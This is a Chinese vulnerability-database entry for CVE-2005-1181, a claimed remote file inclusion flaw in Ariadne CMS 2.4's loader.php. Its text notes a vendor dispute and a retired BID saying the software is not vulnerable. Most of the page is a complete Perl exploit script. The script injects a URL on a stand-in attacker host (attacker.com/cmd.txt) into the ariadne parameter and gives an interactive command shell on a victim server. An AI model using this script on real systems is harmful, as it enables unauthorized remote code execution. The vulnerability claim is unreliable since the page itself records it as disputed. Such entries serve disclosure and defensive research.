Ariadne CMS 2.4的loader.php PHP远程代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111330 漏洞类型 未知
发布时间 2006-10-19 更新时间 2006-10-19
CVE编号 CVE-2005-1181 CNNVD-ID CNNVD-200505-798
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/25431
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-798
|漏洞详情
AriadneCMS2.4的loader.php中存在PHP远程代码注入漏洞,远程攻击者可以通过修改ariadne参数以引用一个远程web服务器上含有该代码的URL,从而执行任意PHP代码。注:厂商对此提出争议,指出loader.php先请求"ariadne.inc"文件,该文件定义$ariadne变量,因此攻击者不能修改它。
|漏洞EXP
source: http://www.securityfocus.com/bid/13206/info

A remote file include vulnerability affects Ariadne CMS. This issue is due to a failure of the application to validate critical parameters before using them in a 'require_once()' function call.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

UPDATE: This BID is being retired due to further information which shows the application is not vulnerable to this issue. 

#!/usr/bin/perl

#####################################################################################################
#                                                                                                   
#
# Ariadne CMS 2.4                                                                                   
#
#                                                                                                   
#
# Class:  Remote File Inclusion Vulnerability                                                       
#
# Date:   2006/10/19                                                                                
#
#                                                                                                   
#
# Remote: Yes                                                                                       
#
#                                                                                                   
#
# Type:   high                                                                                      
#
#                                                                                                   
#
# Site:   http://www.ariadne-cms.org/en/download/ariadne/ariadne.2.4.zip                            
#
#                                                                                                   
#
#####################################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line 
With Your Personal Script

print "\n";
print 
"##########################################################################\n";
print "#                                                                        
#\n";
print "# Ariadne CMS 2.4   Remote File Inclusion Vulnerability                  
#\n";
print "# Vul Files: loader.php , setlink.php & view.php                         
#\n";
print "# Bug Found By : Ashiyane Corporation                                    
#\n";
print "# Email: Alireza Ahari    Ahari[at]ashiyane.ir                           
#\n";
print "# Web Site : www.Ashiyane.ir                                             
#\n";
print "#                                                                        
#\n";
print 
"##########################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /path/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$vul="loader.php?ariadne="

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", 
PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? 
HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}
|参考资料

来源:XF
名称:ariadne-loaderphp-file-include(20611)
链接:http://xforce.iss.net/xforce/xfdb/20611
来源:OSVDB
名称:15549
链接:http://www.osvdb.org/15549
来源:SECTRACK
名称:1013721
链接:http://securitytracker.com/id?1013721